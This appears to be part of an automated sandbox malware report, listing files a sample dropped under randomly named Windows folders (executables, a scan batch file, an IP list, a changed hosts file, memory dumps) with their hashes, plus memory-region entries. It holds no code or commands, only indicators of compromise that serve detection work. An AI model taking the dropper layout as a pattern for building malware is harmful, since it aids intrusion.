                                                      ebb79ea470cc63b8b4198b707fbc2655f52cdbca19eac60b1717fa0b7e9182f9be2284fa679956bb339d8e894a823f56d5f9a2b7b35eaa4bb1215df49b34a672

                                                    • C:\Windows\TEMP\rbbittbck\1152.dmp

                                                      Filesize

                                                      1.3MB

                                                      MD5

                                                      83475924198fc2444ec71db13ace9a20

                                                      SHA1

                                                      ef9c24a9b9b23e9bdffc7744f0ca601163c5608b

                                                      SHA256

                                                      44fe164da7a496dcf6cf03a6c7f005b7756773f0a410c5d9826c67a3a1a3fde4

                                                      SHA512

                                                      0b40d6af23a2b087e6455e18bf3a83bde0b8505e8b457dd47057474750a38d4434a6991dbe67a3a5510470ec6399bc69221e87f09139ffe5e9b1d2c4c77968f6

                                                    • C:\Windows\TEMP\rbbittbck\1560.dmp

                                                      Filesize

                                                      5.2MB

                                                      MD5

                                                      64159ff142158fd03ebfeff835f075b8

                                                      SHA1

                                                      3c233b673440fcc35a9cf8a53cb9b7e5e7486633

                                                      SHA256

                                                      17d1fe5b9cd5dee620f19b1f761af038b97a4a42c3ebcc895dbdaf1d1b7e2864

                                                      SHA512

                                                      5cc59746cb196e9d0be590a89374ccdf34cef1ad3ccef3d107e300f78bc36cbd0a7af33851eed95c9741764d50a66ec1aac51ac5bb9db379f12f6cc148103d03

                                                    • C:\Windows\TEMP\rbbittbck\2084.dmp

                                                      Filesize

                                                      851KB

                                                      MD5

                                                      8313f23918d8b7e1998de7c6d7ac277d

                                                      SHA1

                                                      c40cac4910970e5fa90606f5b89d9957bbb4672a

                                                      SHA256

                                                      883632cf05f77b1cd75e68e961d290d4baff8bb0840bb345bb76a6077eec8b90

                                                      SHA512

                                                      df5708443db30325b5c11b1c867b3b07c222abc0f80adb6ecfd3ff38f5274e894c8bb9518d5c3227f05cc27a3ddb53f59db34fea9cb10f7545e1a70e4e98432b

                                                    • C:\Windows\TEMP\rbbittbck\2576.dmp

                                                      Filesize

                                                      7.2MB

                                                      MD5

                                                      9573862325c46e3507a3f5864d5a0a00

                                                      SHA1

                                                      8a0bc97e224a479358c570f82ba0542f4f90d5b5

                                                      SHA256

                                                      daed73313ed0aaea058fcf9a717299d414e048cdc7cc0bb2c538bb55dd021b64

                                                      SHA512

                                                      92b73c7646e3396821403654b6f118fa70dfe5ca9754629821a44b5b7090213f1c8478775e7ebe970d0963e1ec79777be048cc69901beef74ff52d2a64bbe9ee

                                                    • C:\Windows\TEMP\rbbittbck\268.dmp

                                                      Filesize

                                                      4.0MB

                                                      MD5

                                                      f7f366db9bbcd79100fa77b3a817f15d

                                                      SHA1

                                                      e154d2598616df17a050e54bb856a1c8d1beb9be

                                                      SHA256

                                                      3a5c919af78af6c9b920e3c55d68609e72f9730326c0c88391ad83116240d210

                                                      SHA512

                                                      28b3e52af6d914ef67eebe3bf5bd6bc74635b6b0930215756e7022f4f128c64c63b54d23447c868fa6458f6593576ee624eb3d414875114015597ddf186a1208

                                                    • C:\Windows\TEMP\rbbittbck\496.dmp

                                                      Filesize

                                                      4.6MB

                                                      MD5

                                                      f0e5873eae6d9e54048b7245be033a4d

                                                      SHA1

                                                      2d1f4d53cefaf01a75599002294c23bf1e81c88a

                                                      SHA256

                                                      935665d70bca91d735e3edc1928ddde44ea50bb41e2adf90676bd1a64192a38f

                                                      SHA512

                                                      b215d69cacb65d5811656439acdaeb2ecf2887a25b384035582538275f6f2fdb9a6ca4dc1af12ef3daa9973d70b0b09ac39d2e0a5b589a106b7c252df2481bd3

                                                    • C:\Windows\rbbittbck\Corporate\vfshost.exe

                                                      Filesize

                                                      381KB

                                                      MD5

                                                      fd5efccde59e94eec8bb2735aa577b2b

                                                      SHA1

                                                      51aaa248dc819d37f8b8e3213c5bdafc321a8412

                                                      SHA256

                                                      441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

                                                      SHA512

                                                      74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

                                                    • C:\Windows\rbbittbck\iemcqtten\ip.txt

                                                      Filesize

                                                      187B

                                                      MD5

                                                      a40c8ad53ba26cff0a35eddad60fe807

                                                      SHA1

                                                      956d6d90cfa3de088b415bffa7acced3c88d361e

                                                      SHA256

                                                      635addc6d26140578350962341092867c8df85c2bdcba94dff8cbece953e216c

                                                      SHA512

                                                      01bbf9b16a9a954086937123fbeae38493d49138cf80a5745ba3727910cde6f49331969b906245c214ea828f71547960ed51f9ae913dd7b4f72c30ed876ed944

                                                    • C:\Windows\rbbittbck\iemcqtten\scan.bat

                                                      Filesize

                                                      159B

                                                      MD5

                                                      684909e37a4b551ae6c763d30648aad5

                                                      SHA1

                                                      6d38c411be50b3a4d65ce981a0c657e4183b5e54

                                                      SHA256

                                                      7ea84a7a35376158371596a35f915aada35077639631a6c629e66c8c06f71025

                                                      SHA512

                                                      eae3f26a1d7817635e24a2f3b99ef7be2e475cf14918c8954ad36775e4d33f83e22faf4968220a4d6219065916045eb0f5abdf5d7cc79bb1286253788c0f907b

                                                    • C:\Windows\system32\drivers\etc\hosts

                                                      Filesize

                                                      975B

                                                      MD5

                                                      b5d815ff5310f62de5020591be598bc0

                                                      SHA1

                                                      8013562b0cc2516d16d474308c8982a31b7f5dd0

                                                      SHA256

                                                      a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85

                                                      SHA512

                                                      4e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94

                                                    • \Windows\Temp\hnhnitvtd\bctijf.exe

                                                      Filesize

                                                      343KB

                                                      MD5

                                                      2b4ac7b362261cb3f6f9583751708064

                                                      SHA1

                                                      b93693b19ebc99da8a007fed1a45c01c5071fb7f

                                                      SHA256

                                                      a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                                                      SHA512

                                                      c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                                                    • \Windows\Temp\nsj36CB.tmp\System.dll

                                                      Filesize

                                                      11KB

                                                      MD5

                                                      2ae993a2ffec0c137eb51c8832691bcb

                                                      SHA1

                                                      98e0b37b7c14890f8a599f35678af5e9435906e1

                                                      SHA256

                                                      681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

                                                      SHA512

                                                      2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

                                                    • \Windows\Temp\nsj36CB.tmp\nsExec.dll

                                                      Filesize

                                                      6KB

                                                      MD5

                                                      b648c78981c02c434d6a04d4422a6198

                                                      SHA1

                                                      74d99eed1eae76c7f43454c01cdb7030e5772fc2

                                                      SHA256

                                                      3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

                                                      SHA512

                                                      219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

                                                    • \Windows\Temp\rbbittbck\aemqzztnb.exe

                                                      Filesize

                                                      126KB

                                                      MD5

                                                      e8d45731654929413d79b3818d6a5011

                                                      SHA1

                                                      23579d9ca707d9e00eb62fa501e0a8016db63c7e

                                                      SHA256

                                                      a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

                                                      SHA512

                                                      df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

                                                    • \Windows\Temp\xohudmc.exe

                                                      Filesize

                                                      72KB

                                                      MD5

                                                      cbefa7108d0cf4186cdf3a82d6db80cd

                                                      SHA1

                                                      73aeaf73ddd694f99ccbcff13bd788bb77f223db

                                                      SHA256

                                                      7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

                                                      SHA512

                                                      b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

                                                    • \Windows\ibbitebd\vcebeyb.exe

                                                      Filesize

                                                      8.9MB

                                                      MD5

                                                      c5bd8d62b7915b83449a8b34c8e6f329

                                                      SHA1

                                                      e9a33502611fffb4c3763adffa0edde57f029307

                                                      SHA256

                                                      ad4403e792787dba82a83e7f85e47781a51d70b00205e5c4355010aa2696f419

                                                      SHA512

                                                      128ae9071393460d4f4ba8da343c62e59ca22529fbb1b4b91f885c666b07a53c4605bb54f81118f3a347bec054620a303d245cb2787f60373cb09f5e0110aca4

                                                    • \Windows\rbbittbck\iemcqtten\cbzzihqbc.exe

                                                      Filesize

                                                      332KB

                                                      MD5

                                                      ea774c81fe7b5d9708caa278cf3f3c68

                                                      SHA1

                                                      fc09f3b838289271a0e744412f5f6f3d9cf26cee

                                                      SHA256

                                                      4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

                                                      SHA512

                                                      7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

                                                    • \Windows\rbbittbck\iemcqtten\wpcap.exe

                                                      Filesize

                                                      424KB

                                                      MD5

                                                      e9c001647c67e12666f27f9984778ad6

                                                      SHA1

                                                      51961af0a52a2cc3ff2c4149f8d7011490051977

                                                      SHA256

                                                      7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                                                      SHA512

                                                      56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                                                    • memory/1432-252-0x0000000000F20000-0x0000000000F32000-memory.dmp

                                                      Filesize

                                                      72KB

                                                    • memory/1476-136-0x000000013F330000-0x000000013F41E000-memory.dmp

                                                      Filesize

                                                      952KB

                                                    • memory/1476-138-0x000000013F330000-0x000000013F41E000-memory.dmp

                                                      Filesize

                                                      952KB

                                                    • memory/1524-135-0x0000000001030000-0x000000000111E000-memory.dmp

                                                      Filesize

                                                      952KB

                                                    • memory/1524-134-0x0000000001030000-0x000000000111E000-memory.dmp

                                                      Filesize

                                                      952KB

                                                    • memory/1660-240-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-199-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-239-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-237-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-241-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-171-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-265-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-174-0x0000000000410000-0x0000000000420000-memory.dmp

                                                      Filesize

                                                      64KB

                                                    • memory/1660-253-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-268-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-191-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1660-267-0x000000013F7D0000-0x000000013F8F0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/1992-212-0x000000013FD30000-0x000000013FD8B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/1992-214-0x000000013FD30000-0x000000013FD8B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2324-220-0x000000013FE40000-0x000000013FE9B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2324-222-0x000000013FE40000-0x000000013FE9B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2336-235-0x000000013F0E0000-0x000000013F13B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2336-232-0x000000013F0E0000-0x000000013F13B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2356-205-0x000000013FEB0000-0x000000013FF0B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2356-203-0x000000013FEB0000-0x000000013FF0B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2360-165-0x000000013FAE0000-0x000000013FB3B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2360-144-0x000000013FAE0000-0x000000013FB3B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2372-75-0x0000000000130000-0x000000000017C000-memory.dmp

                                                      Filesize

                                                      304KB

                                                    • memory/2404-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                      Filesize

                                                      6.6MB

                                                    • memory/2404-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                      Filesize

                                                      6.6MB

                                                    • memory/2452-153-0x0000000010000000-0x0000000010008000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/2452-172-0x0000000000400000-0x0000000000412000-memory.dmp

                                                      Filesize

                                                      72KB

                                                    • memory/2468-180-0x000000013FC00000-0x000000013FC5B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-209-0x0000000001970000-0x00000000019CB000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-194-0x0000000001970000-0x00000000019CB000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-185-0x00000000028B0000-0x000000000290B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-230-0x0000000001730000-0x000000000178B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-238-0x0000000001730000-0x000000000178B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-176-0x0000000001970000-0x00000000019CB000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-190-0x0000000002DC0000-0x0000000002EE0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/2784-170-0x0000000002DC0000-0x0000000002EE0000-memory.dmp

                                                      Filesize

                                                      1.1MB

                                                    • memory/2784-211-0x0000000001970000-0x00000000019CB000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-218-0x0000000001730000-0x000000000178B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2784-142-0x00000000028B0000-0x000000000290B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2804-186-0x000000013F7B0000-0x000000013F80B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2804-188-0x000000013F7B0000-0x000000013F80B000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2936-197-0x000000013F690000-0x000000013F6EB000-memory.dmp

                                                      Filesize

                                                      364KB

                                                    • memory/2940-9-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                      Filesize

                                                      6.6MB